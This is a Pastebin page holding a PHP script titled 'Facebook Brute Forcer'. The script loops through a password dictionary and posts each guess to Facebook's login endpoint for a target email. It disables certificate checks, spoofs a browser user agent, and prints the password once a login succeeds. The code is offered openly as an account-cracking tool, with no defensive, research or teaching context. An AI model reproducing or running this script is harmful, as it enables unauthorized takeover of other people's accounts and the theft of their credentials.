3x5w4rup

Facebook Brute Forcer

May 8th, 2014
687
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.54 KB | None | 0 0
  1. set_time_limit(0);
  2. $username ="[email protected]"; // username to brute force
  3. $dictionary ="dictionary.txt"; // need dictionary to password list
  4.  
  5. function kontrol($kullaniciadi,$sifre){
  6. $useragent = "Opera/9.21 (Windows NT 5.1; U; tr)";
  7. $data = "email=$kullaniciadi&pass=$sifre&login=Login" ;
  8. $ch = curl_init('https://login.facebook.com/login.php?m&next=http%3A%2F%2Fm.facebook.com%2Fhome.php');
  9. curl_setopt($ch, CURLOPT_HEADER, 0);
  10. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  11. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  12. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  13. curl_setopt($ch, CURLOPT_POST, 1);
  14. curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
  15. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  16. curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
  17. curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  18. $source=curl_exec ($ch);
  19. curl_close ($ch);
  20. if(eregi("Home</title>",$source)){return true;} else {return false;}
  21.  
  22. }
  23.  
  24. if(!is_file($dictionary)){echo "$dictionary is not file";exit;}
  25. $lines=file($dictionary);
  26. echo "Attack Starting..<br>";
  27. sleep(10);
  28. echo "Attack Started, brute forcing..<br>";
  29. foreach($lines as $line){
  30. $line=str_replace("\r","",$line);
  31. $line=str_replace("\n","",$line);
  32. if(kontrol($username,$line)){echo "<font face=tahoma color=green>***91;+***93;</font><font face=tahoma> username:$username , password:$line - P
  33. assword found : $line</font><br>";$fp=fopen('cookie.txt','w');fwrite($fp,'');exit;}
  34. else{echo "<font face=tahoma color=brown>***91;-***93;</font><font face=tahoma> username:$username , password:$line - Password not found :
  35. $line</font><br>";}
  36. }
  37. ?>
Advertisement
Add Comment
Please, Sign In to add comment